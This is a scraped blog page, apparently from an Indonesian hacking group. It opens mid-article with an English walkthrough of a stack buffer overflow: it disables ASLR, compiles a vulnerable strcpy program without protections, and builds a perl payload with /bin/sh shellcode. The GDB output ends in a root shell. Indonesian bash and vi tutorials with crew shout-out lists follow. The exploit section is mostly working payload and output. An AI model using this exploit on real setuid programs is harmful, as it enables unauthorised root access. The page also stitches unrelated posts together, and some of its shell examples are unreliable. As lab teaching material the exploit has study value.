The second most important part of a successful exploitation is the NOP sled. NOP's are a machine instruction which stands for No-OPeration, all of which are skipped over by the processor until the next set of instructions are reached, basically like a stream following in one direction towards the bigger water source, or the rest of the instructions to be given. NOP's take the form of the "\x90" hexadecimally represented opcode, and are usually required for buffer overflow exploitations. A grouping of NOP's used in a buffer overflow attack is called a NOP sled, the name relating to the flow of the application. If a return address is set to any of the NOP's in the group, the program flows downward until it reaches something else to execute.

An exception to the NOP sled requirement is through the usage of environment variables. System wide environment variables can be viewed through the env command. The difference of the shellcode and filename can then be calculated to find the exact location of the shellcode stored in the specified environment variable. However, this method will not be showed in detail by this article.

Last but not least, garbage data and a correct return address are required to complete a buffer overflow exploit. Garbage data is any sort of data to fill the rest of the buffer, it doesn't matter what it is as long as it is not a null byte, thus ending the string. A return address is used by the Instruction Pointer register, also known as the EIP. The EIP tells the processor which memory address to begin execution next, When a buffer is overflowed, the 4 byte EIP is written over by some of the garbage data. The EIP always points to the next instruction to be executed, which is very rewarding for us; now that we have the power to overwrite it.

Before we start, we need to change a security setting in Linux, which randomizes address space. This setting is required to be changed for basic buffer overflows, more advanced overflows can get around this safety precaution. In bash, enter the following command:

CODE:
echo 0 > /proc/sys/kernel/randomize_va_space


That's all you need to change to make this basic buffer overflow work.

Now that we know how all this works, how about we put it to good use? Let's use this piece of vulnerable code just as an example:

vuln.c
CODE:
#include

#include

#include



int copy(char *string){

char buffer[1024];

strcpy(buffer, string);

return 1;

}



int main(int argc, char *argv[]) {

copy(argv[1]);

return 1;

}


Note, if you are using Ubuntu as your OS, when compiling you must use these arguments for GCC:
CODE:
-fno-stack-protector -z execstack


The first disables stack protection, the second allows the stack to be executed.

This code is not too complicated, I'm only going to stay basic with this article. In this example we have a 1024 byte buffer, with the very insecure copy() function shown above. This function uses the strcpy() function included in the string.h header, which if gone unchecked, will forcibly copy any size string from source to destination. As you have probably figured, this is not good at all, allowing anyone to overflow the buffer array. Let's get started with this simple vulnerability.

Here is the format in which you need to sort your shellcode, garbage data, and return address:
CODE:
[ GARBAGE DATA ] -> [ NOP ] -> [ SHELLCODE ] -> [ RET ]


We now need to calculate the amount needed for each field, excluding the return address which is always 4 bytes.

Our buffer size is 1024 bytes, so we need to find out how much garbage data we're going to need. Just for safe measure we're going to use 150 NOP's, so if we are off on the return address, we have a higher chance of hitting the sled.

1024 - 150 = 874

The example shellcode is 22 bytes.

874 - 22 = 852

The EIP needs to be overwritten so we are going to add 4 bytes.

852 + 4 = 856

Before we get started writing statements to exploit this application, I want to point this out:

CODE:
delusion@deLusive:~/code/overflow$ ls -l

total 16

-rwxr-xr-x 1 root root 11997 2009-04-12 13:03 vuln

-rw-r--r-- 1 root root 212 2009-04-12 13:03 vuln.c


The owner of the file is root, so this application will be running with root privileges, simulating the effect of a real-world service being attacked by a buffer overflow exploit.

Moving onto the actual exploitation, we now know how much garbage data we're going to use to fill most of the buffer. Let's write a quick perl statement to do this all for us in GDB, standing for the GNU DeBugger.

CODE:
perl -e'print "A"x856,"\x90"x150,"\xb0\x0b\x99\x52\x68\x2f\x2f\x 73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1 \xcd\x80","YYYY"'


Now we're ready to use GDB to debug this. I set YYYY as the return address temporarily for debugging purposes.

CODE:
delusion@deLusive:~/code/overflow$ gdb vuln -q
(gdb) run `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\ x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","YYYY"'`
Starting program: /home/delusion/code/overflow/vuln `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\ x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","YYYY"'`

Program received signal SIGSEGV, Segmentation fault.
0x59595959 in ?? ()


You might have been able to spot something all ready. 0x59 is hex for Y, which is what has corrupted the EIP. Let's take a look at the registers.

CODE:
(gdb) i r
eax 0x1 1
ecx 0xbfffeb38 -1073747144
edx 0x409 1033
ebx 0xb7fc1ff4 -1208213516
esp 0xbfffef40 0xbfffef40
ebp 0x80cde189 0x80cde189
esi 0xb8000ce0 -1207956256
edi 0x0 0
eip 0x59595959 0x59595959


As you see, the EIP was overwritten with 4 bytes of 'Y', now we need to find out the general location of the NOP sled to get an approximate return address.

CODE:
(gdb) x/200xb $esp
......
0xbffff4b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4c8: 0x41 0x41 0x41 0x90 0x90 0x90 0x90 0x90
0xbffff4d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff4f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff500: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff508: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff510: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff518: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff520: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff528: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff530: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff538: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff540: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff548: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff550: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff558: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff560: 0x90 0xb0 0x0b 0x99 0x52 0x68 0x2f 0x2f
0xbffff568: 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89
0xbffff570: 0xe3 0x52 0x53 0x89 0xe1 0xcd 0x80 0x59
0xbffff578: 0x59 0x59 0x59 0x00 0x43 0x50 0x4c 0x55


Notice where the NOP's end. The first byte of data after is 0xb0, the beginning of our shellcode. The best thing to do is to get a return address to use towards the middle; I'll use 0xbffff4f0 for this example. The x86 architecture is in Little-Endian format, which is always a good thing to remember. This means that the least significant bytes are read first, so you need to reverse that memory address. Your return address is now going to be:

CODE:
\xf0\xf4\xff\xbf


Now you are all set and ready to go to initiate this attack on the vulnerable application.

CODE:
(gdb) run `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\ x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\xf0\xf4 \xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/delusion/code/overflow/vuln `perl -e'print "A"x856,"\x90"x150, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\ x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\xf0\xf4 \xff\xbf"'`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.1# whoami
root
sh-3.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),11(floppy),17(au
dio),18(video),19(cdrom),26(tape),83(plugdev)
sh-3.1#


--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
[b]Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32
[/b]
And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAF ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom
[Read More...]

Saturday, October 31, 2009

Operasi Matematika

1. Operasi Matematika

Berikut adalah berbagai statement untuk keperluan operasi matematika. Terdapat 3 cara yag lazim di gunakan untuk operasi matematika, yaitu dengan stetement built-in atau expr atau perintah subtitusi.

1. Perintah Let

Perintah Let adalah sebuah perintah built-in yang di gunakan untuk melakukan aritmatika integer dan pengujian ekspresi numerik. Operasi aritmatika dapat dilakukan pada variabel-variabel yang telah di deklarasikan sebagai integer. Jika sebuah variabel belum dideklarasikan sebagai integer, perintah let memungkinkan operasi aritmatika.
Contoh :



Kode:
#!/bin/bash
#mat1
a=5
b=5



Jika memakai perintah let, lanjutkan dengan source seperti berikut :



Kode:
#memakai let
let jumlah=$a+$b
#memakai expr
jumlah='expr $a + $b'




Hasil script diatas jika programnya di jalankan adalah angka 10

Contoh penggunaan let yang lain :



Kode:
#!/bin/bash
num=1
let num5=5+num
echo $num




Tanda kurung ganda dapat di gunakan untuk menggantikan let pada bash 2.x. jadi , script diatas dapat pula di tulis sebagai :



Kode:
#!/bin/bash
num=1
(( num+=5 ))



echo $num hasil kedua script diatas jika di jalankan adalah 6

Perintah Subtitusi

Perintah operasi matematika seperti pada point a diatas, jika di kerjakan menggunakan subtitusi, maka sourcenya dapat dilihat sebagai berikut :



Kode:
#memakai perintahsubtitusi $((ekspresi))
Modul =$(($a%$b)) #sisa pembagian
echo "$a+$b=$jumlah"
echo "$a-$b=$kurang"
#selesei



Jika dijalakan hasilnya :
$./mat1
5+5=10
5-5=0

Perintah Expr

Fungsi expr begitu berdayaguna baik untuk operasi matematika ataupun string.
Contoh :



Kode:
$ mystr="Shamus"
$ expr length $mystr




Perintah Declare
Bash juga menyediakan statement declare dengan opsi -i yang di gunakan hanya untuk data integer (bilangan bulat). Dalam hal ini berlaku bahwa variabel yang akan di gunakan dideklarasiakan secara eksplisit dengan tipe data tertentu seperti halnya C atau Pascal.

Variabel-variabel dapat dideklarasikan sebagai sebuah integer dengan perintah declare -i. jika anda berusaha untuk memberikan sembarang nilai string, bash akan mengisikan 0 ke variabel tersebut. Jadi, apabila variabel yang di deklarasikan menggunakana declare -i ternyata di beri nilai string (karakter0, maka bash akan mengubahnya ke nilai 0. tetapi, jika tidak menggunakannya, maka dianggap sebagai string.
Contoh :



Kode:
#!/bin/bash
declare -i angka
angka=50;
echo $angka;




Dan contoh lagi :



Kode:
#!/bis/bash
declare -i num
nu=1
num=5+num
echo $num



Hasil script diatas adalah :
6

Operasi Floating Point

Bash hanya mendukung operasi aritmatika pada integer. Namun utilitas bc, awk dapat digunakan bila anda menginginkanperhitunagn yang lebih kompleks.
Contoh :



Kode:
#!/bin/bash
hasil='echo "scale=2; 15/2"|bc'
echo $hasil



Jika dijalankan, maka hasil dari script di atas adalah :
7.50

Beberapa hal yang bisa dilihat dari program di atas adalah :
* operasi yang dilakukan adalah pembagian 15 dengan 2.
* seluruh pipeline diapit oleh tanda backquote.
* subtitusi akan di lakukan dan hasilnya akan di berikan ke variabel hasil yang kemudian di cetak ke layar.
* Output perintah echo di pipe ke program be. Skala di set ke 3, yang merupakan digit signifikan di belakang koma.



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom
[Read More...]

Friday, October 23, 2009

Variabel

Secara umum dapat di katakan bahwa variabel merupakan nama yang dapat di gunakan untuk menyimpan sebuah nilai di mana nilai tersebut dapat di ubah sewaktu-waktu sesuai dengan kebutuhan.

1. Pengaturan Penamaan Variabel

Linux mengatur penamaan sebuah variabe dengan beberapa aturan seperti berikut :
* Variabel pada shell di perbolehkan untuk menggunakan angka.
* Variabel pada shell di perbolehkan menggunakan underscore (garis bawah).
* Variabel pada shell diperbolehkan menggunakan huruf.

Teknik pembuatan variabel pada linux, sama seperti bahasa pemrograman lainnya. Bash shell tidak ada tipedata, sebuah variabel dalam bash dapat berupa bilangan, karakter, atau string karakter.

2. Jenis Variabel

Secara umum, linux mengenal dua jenis variabel dalam lingkungan pemrograman. Kedua jenis variabel tersebut adalah System Variable dan User Defined Variable.

2.a. System Variable
System Variable di buat dan di kelola oleh linux sendiri. Artinya bahwa variabel-variabel tersebut ada di dalam sistem linux. Jenis variabel ini didefinisikan dalam hurud Capital. System variabel sendiri sebenarnya terbagi lagi menjadi dua kelompok, yaitu environment variable dan positional variable.

* Environment variable
Merupakan variable yang di gunakan khusus oleh shell atau system linux untuk proses kerja system seperti variabel PS1, PS2, HOME, PATH, USER, SHELL dll.

* Positional varriable
Merupakan variable yang du gunakan shell untuk menampung argumen yang di berikan terhadap shell baik berupa argumen waktu sebuah file dijalankan atau argumen yang dikirim ke subrutin. Variabel yang di maksud dalam system variabel adalah 1, 2, 3 dan seterusnya.

Untuk lebih jelasnya, perhatikan contoh script berikut ini :


Kode:
#/bin/bash
#argumen1
echo $1 adalah salah satu $2 terbesar di $3



Pada shell di atas terdapat 3 argumen yang di sertakan pada script argumen1 yaitu indonesia, negara, asia. Yang masing-masing argumen akan di simpan pada variabel 1, 2, 3 sesuai dengan posisinya.

Jika di jalankan, perhatikan contoh berikut :

$./argumen1 indonesia negara asia
Indonesia adalah salah satu negara di asia.

Berikut ini merupakan daftar beberapa built in yang di gunakan dalam pemrograman shell :
* $# untuk menyimpan jumlah argumen yang diberikan pada program shell.
* $? di gunakan untuk menyimpan nilai exit dari perintah yang di eksekusi sebelumnya.
* $0 di gunakan untuk menyimpan nama dari sebuah program shell.
* $* di gunakan untuk menyimpan semua argumen yang di berikan ($!, $2, $3,...).
* $@ di gunakan untuk menyimpan semua argumen dan dimasukkna di dalam tanda petik seperti "$1", "$2" dan seterusnya.

Perhatikan contoh-contoh pada script shell berikut :


Kode:
$cat nama
echo "anda memasukkan nama$"
echo "jumlah kata = $#"



Selanjutnya jika di jalankan anda akan memperoleh hasil sebagai berikut :

$nama Shsmus

Parameter yang di masukan adalah "Shamus"
Dan jumlah kata = 1.

2.b. User Defined Variable

User defined variabe atau variabel yang didefinisikan sendiri oleh pembuat script, dibuat dengan kebutuhannya. Beberapa hal yang perlu di perhatikan dalam mendefinisikan variabel jenis ini adalah :
* Penulisan di mulai dengan huruf atau underscore.
* Harus dihindari pemakaian karakter khusus seperti "*", "$", "#" dan lain sebagainya.
* Pada bash bersifat case sensitive.

3. Memberikan Nilai pada Variabel

Berbeda dengan beberapa tehnik pemrograman, untuk membuat sebuah variabel pada linux tidak perlu mendeklarasikannya terlebih dahulu. Memberi variabel cukp dengan memberikan nilai kepada referensinya.
Perhatikan contoh pembuatan variabel instansi berikut :

Kampus="ecampus.antijasakom"

Pada cuplikan di atas telah membuat sebuah variabel dengan nama variabel "kampus" dan yang berisikan nilai "ecampus.antijasakom". jadi, jika suatu saat pada deretan pemrograman dipakai variabel instansi tersebut, maka variabel tersebut pasti bernilai "ecampus.antijasakom"
Selagi belum ditimpa dengan nilai yang lain.

Untuk memasukan sebuah nilai angka atau numerik, kita tidak perlu menggunakan tanda petik. Perhatikan contoh berikut

Total=100

Pernyataaan diatas mendefinisikan sebuah variabel dengan nama "total" dan memiliki nilai variabel 100.
Perhatikan bahwa aturan, anda tidak boleh memberikan spasi diantara tanda sama dengan, "=".

Cara-cara di ats adalah cara yang dilakukan pada bash. Sedangkan pada tcsh, pendefinisian variabel dapat di lakukan dengan perintah "set" dan memberikan spsi daintara tanda "=".

Perhatikan contoh berikut :

Set nilai = 75

Set instansi = "Cyberlife"

Erarti variabel kota merupakan variabel lokal dengan variabel = "Cyberlife".

Selanjutnya untuk mengambil nilai dari sebuah variabel, dapat dilakukan dengan cara memberikan tanda "$" di awal variabel tersebut :


Kode:
echo$



Contoh :


Kode:
echo $ecamps.antijasakom
echo $total




4. Memberikan input dari user

Sering sekali dalam menulis script di perlukan input dari user. Hampir sama seperti pada pemrograman pascal, untuk mengambil input dari user tersebut dapat di gunakan perintah read.
Struktur perintah read.

Read

Pada perintah "read" merupakan sebuah perintah built in yang membaca input dari terminal atau dari sebuah file hingga sebuah baris baru.

Perintah read memiliki empat buah opsi untuk mengendalikan perilakunya, yaitu -a, -c, -p dan -r.
* read instansi
berfungsi untuk membaca sebuah baris dari input standar dan menyimpannya ke variabel dengan nama instansi.

* read -a tabelsiswa
digunakan untuk memasukan dafatar kata ke dalam array dengan nama tabel siswa.

* read -e
digunakan dalam shell interaktif dengan efek pengeditan perintah baris.

* read -p prompt
di gunakna untuk menampilkan prompt, menunggu adanya input, dan menyimpannya ke dalam variabel REPLY.

* read -r line
memperoleh input berisikan sebuah karakter backslash.

Berikut ini adalah sebuah contoh penggunaan perintah read si atas :


Kode:
#/bin/bash
#read.sh
echo -n "Masukan nama anda:"
read nama
echo -n "Masukan umur anda:"
read umur
echo -e"Hallo $nama yang berusia$umur tahun, Selamat belajar scriptng linux"




Setelah disimpan dan di jalankan dengan terlebih dahulu mengatur modenya, maka akan di hasilkan output sebagai berikut



Kode:
$ ./read.sh
Masukan nama anda: Shamus
Masukan umur anda: 150

Halo Shamus yan berusia 150 tahun, Selamat belajar linux




5. Lebih Lanjut tentang Pengaturan Variabel
Perhatikan bahwa untuk mengeset nilai variabel, dapat di gunakan operator assignment (pemberi nilai) "=".

Contoh


Kode:
Myos="linux" #double-quoted
Nama='pinguin'
#single-quoted
Hasil='ls- l';
#back-quoted
Angka=13



Kalau anda perhatikan ada3 tanda kutip, ketiga tanda tersebut adalah :
* Tanda petik tunggal
* Tanda petik ganda
* Tanda petik terbalik

Perbedaan tanda tersebut digunakan untuk memberikan nilai string ke suatu variabel. Adapun perbedaannya sebagai berikut :
* Tanda kutip dengan kutip ganda (double quoted).
Artinya, bash mengizinkan kita untuk menyisipkan variabel ke dalamnya.
Contoh:


Kode:
#!/bin/bash
nama="Shamus"
kata="Hallo $nama, bagaimana kabar anda?"
#menyisipkan variabel nama
echo $kata;



Jika di jalankan, hasilnya adalah :
Hallo Shamus, bagaimana kabar anda ?

* Tanda kutip dengan kutip tunggal (single-quoted).
Artinya bahwa data akan di tampilkan apa adanya.
Contoh:


Kode:
#!/bin/bash
nama="Shamus"
kata='Hallo $nama, apa yang sedang anda lakukan'
#menyisipkan variabel nama
echo $kata;



Hasilnya adalah :
Hallo, $nama, apa yang sedang anda lakukan

* Tanda petik dengan kutip tunggal (double-quoted).
Bash menerjemahkan sebagai perintah yang akan di eksekusi.
Contoh:


Kode:
#cat lihat
echo 'ls'
$



Jika script diatas dijalankan, maka aka tampil daftar file pada direktori tersebut.
Contoh:


Kode:
$lihat
Hallo coba argumen1 argumen2
$cat lihat



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, White_Heaven_Angels, ucrit_penyu, wendys182, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom
[Read More...]

Wednesday, September 30, 2009

Shell script dan editor teks

Apakah shell script ?!
Kegiatan pemrograman shell adalah kegiatan menyusun atau mengelompokan beberapa perintah shell [command internal ataupun command eksternal] menjadi kumpulan perintah yang melakukan tugas tertentu sesuai dengan tujuan penyusunannya. Kelompok dari perintah-perintah shell itulah yang disebut sheel script.

Shell scrpit memungkinkan penggunanya untuk menyusun serangkaian perintah yang di lakukan dalam bahasa pemrograman. Proses-proses seperti input-output, penyeleksian kondisi, looping, membuat fungsi dll, dapat dilakukan didalam script tersebut. Ini merupakan keunggulan shell linux dibanding sistem operasi lain.

Mengapa menggunakan shell script ?
Setidaknya ada beberapa alasan mengapa shell script dipakai untuk keperluan pemrograman di dalam linux.
1. Memudahkan pengguna untuk membuat dan mengorganisasi perintah-perintah sendiri terhadap operasi komputer.
2. Efisiensi waktu pembuatan.
3. Shell script dapat dengan mudah di inputkan oleh pengguna, disimpan, dan ditampilkan output nya di layar.
4. Mampu melakukan otomasisasi pekerjaan.
5. Administrasi sistem juga dapat di otomasisasi.

Tentang teks editor
Untuk memberikan perintah-perintah pada shell, pemakai bisa langsung mengetikan pada promt yang muncul seperti hal nya pada sistem operasi DOS. Untuk mempermudah pengoperasian, Linux memiliki fasilitas history yang memungkinkan pemakai untuk mengulangi perintah yang pernah di ketikan. Cukup dengan tombol panah atas atau bawah pada keyboard. Pengguna tidak perlu mengetik ulang untuk perintah yang sudah pernah di ketikan.

Tetapi bagaiman jika kumpulan perintah yang sudah di ketikan itu jumlahnya cukup banyak ?. Tentunya pengguna akan kerepotan bila harus mengulangi perintah yang di inginkan tersebut bukan ?. Karena kapasitas penyimpanan dalam history terbatas, maka mungkin saja perintah-perintah tadisudah tertimpa oleh perintah lain.

Untuk mengatasi permasalahan di atas maka perintah-perintah yang diketikan sebaiknya di simpan dalam sebuah file, sehingga dapat di panggil setiap saat. Untuk itu, kita akan memerlukan editor teks. Editor teks merupakan area yang di gunakan untuk pembuatan script shell, yaitu semacam file edit.com pada DOS atau program notepad pada windows. Beberapa editor teks yang sering di gunakan pada Linux adalah emacs, Vi, Qroff, Joe dan Qbtl.

Mengenal editor teks Vi
Editor Vi merupakan editor teks yang paling banyak di gemari dan menjadi editor teks standar untuk pemrograman shell. Jenis editor teks ini memiliki cara pengoperasian yang sedikit berbeda dengan text editor pada windows ataupun yang berbasis DOS. Pemakai yang baru pertama kali menggunakan, biasanya mengalami kesulitan akibat terpampang di layar. Memang, untuk bisa merasakan kegunaan perintah-perintah pada editor Vi, anda harus menghafalkan sintaks nya.

Teks editor Vi bekerja pada tiga modus utama sebagai berikut :
1. Modus command, digun akan untuk memasukkan perintah agar melakukan operasi tertentu pada editing.
2. Modus teks atau input, merupakan modus yang terjadi ketika melakukan editing terhadap program. Di sini terjadi penulisan data atau teks.
3. Modus baris-akhir memiliki kegunaan yang hampir sama dengan modus command. Perbedaanya, modus ini dapat melaksanakan beberapa operasi secara bersamaan.

a. Menjalankan editor Vi
Untuk menjalankan editor Vi, ketik vi pada command prompt seperti berikut.

Kode:
$ vi

Atau jika langsung memberi nama, dapat diketikkan sebagai berikut :

Kode:
$ vi namafile

Misal nama anda mengetikan :

Kode:
$ vi percobaan

Artinya, jika file dengan nama percobaan sudah ada. Maka editor vi akan membuka file tersebut dan menampilkan isinya di layar. Tetapi, jika file dengan nama percobaan, maka editor vi akan membuat file baru dengan nama percobaan. Tentunya sesudah kita menyimapn :w untuk melakukan penyimpanan ke disk.

b. Keluar editor Vi
Untuk keluar dari editor Vi, ada beberapa perintah yang dapat di ketikan sebagai berikut :
* :q [Enter] -> perintah ini digunakan untuk keluar dari editor vi, hanya jika tidak ada modifikasi pada file.
* ZZ -> untuk keluar dari editor Vi dan menyimpan modifikasi.
* :wq [Enter] -> untuk keluar dari editor Vi dan menyimpan modifikasi terakhir ke file.
* :x [Enter] -> untuk keluar dari editor Vi dan menyimpan terakhir file.
* :q! [Enter] -> untuk keluar dari editor Vi tanpa harus menyimpan ke file.

c. Tombol-tombol kunci
Tombol-tombol kunci merupakan tombol-tombol khusus yang di gunakan untuk pengoperasian penulisan kode-kode program editor.

Tombol-tombol di bawah ini adalah tombol-tombol kunci untuk menggerakan kursor :
* l, panah kanan atau spasi -> untuk menggerakan kursor ke kanan satu karakter.
* h atau panah ke kiri -> untuk menggerakan kursor ke kiri satu karakter.
* j atau panah ke bawah -> untuk menggerakan kursor ke bawah satu baris.
* k atau panah atas -> untuk menggerakan kursor ke atas satu baris.
* :0 atau 1-Shift-G -> untuk menggerakan kursor ke baris pertama.
* :$ -> untuk menggerakan kursor ke baris terakhir.
* nG -> untuk menggerakan kursor ke baris ke-n.
* 0 untuk menggerakan kursor ke awal baris.
* $ -> untuk menggerakan kursor ke akhir baris.

Selanjutnya tombol-tombol berikut digunakan sebagai tombol kunci untuk menghapus teks atau karakter :
* x -> untuk menghapus karakter pada posisi kursor.
* X -> untuk menghapus karakter di sebelah kiri kursor.
* dd -> untuk menghapus satu baris pada posisi kursor.
* d [Enter] -> untuk menghapus dua baris, baris pada posisi kursor, dan baris berikutnya.
* d0 -> untuk menhapus dari awal baris sampai tepat sebelum posisi kursor.
* d$ -> untuk menghapus dari posisi kursor sampai akhir baris.

Membuat shell script
Berikut ini latihan untuk menggunakan dan mengoperasikan editor Vi :
1. Gunakan editor teks seperti Vi atau editor yang lain untuk menuliskan script shell.
2. Sesudah menulis shell script, lakukan penyimpanan dengan perintah yang sesuai dengan editor yang dipakai.
3. Lakukan pengesetan execute permision untuk script yang sudah dibuat. Sintaks untuk melakuakn execute permission adalah :

Kode:
chmod permission nama-script-anda

Contoh

Kode:
$ chmod +x nama-script-anda

$chmod 755 nama-script-anda

Perintah diatas akan mengizinkan eksekusi read write untuk izin owner dan read and execute only untuk group dan yang lainya.
4. Eksekusi script anda dengan cara berikut :
Syntac :
bash nama_script
sh nama_script
./nama_script

Untuk mencoba langkah-langkah di atas, perhatikan latihan berikut ini. Buatlah sebuah shell script untuk menampilkan tulisan "ini adalah script shell saya".
Untuk itu ketikan perintah-perintah :

Kode:
$ vi pertama
# Program percobaan
# Untuk latihan script
# by: AJS
#
Clear
Echo "ini adalah script shell saya"

Selanjutnya simpan script tersebut.

Menjalankan shell script
Biasanya, untuk menjalankan sebuah file yang sudah dibuat kita cukup mengetikan nama file yang telah dibuat tersebut.

Sebagai contoh, ketikan :
$ pertama
sh : pertama : cannot execute

Ternyata, program tersebut tidak bisa di eksekusi. Mungkin ada sesuatu yang tidak beres. Selanjutnya cobalah dengan cara berikut :

Kode:
$ sh pertama
Ini adalah script shell saya

Ternyata program bisa di eksekusi. Langkah tersebut bisa mengeksekusi program karena kita melakukan eksekusi program dengan shell [dalam hal ini sh]. Dengan memanggil shell terlebih dahulu, ternyata program di atas dapt berjalan dengan baik.

Cara lain yang lebih praktis dari teknik tersebut adalah dengan melakukan pengesetan execute permission untuk script yang sudah dibuat. Artinya, kita akan menngubah mode perizinan file sehingga file tersebut diizinkan untuk di eksekusi. Untuk mengubah mode perizinan, gunakan perintah chmod. Perhatikan contoh berikut :

$ chmod 755 pertama

Sesudah disimpan, jalankan program dengan mengetikan :

$ ./pertama
Ini adalah script shell saya

Ternyata script dapat di eksekusi dengan baik. Hasil eksekusi adalah bahwa layar akan diersihkan dengan perintah clear dan kemudian pada layar muncul tulisan "ini adalah script shell saya"

Jika yang akti bukan bourne shell, maka kita dapat memaksa melakukan eksekusi program dalam bourne shell dengan perintah :

Kode:
#!/bin/bash

Perintah tersebut diletakkan pada awal baris program shel. Ini berarti bahwa shell apapun yang aktif sekarang akan dapat mengeksekusi program kita dengan penerjemahan menggunakan bahasa Bourne Again Shell.



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32

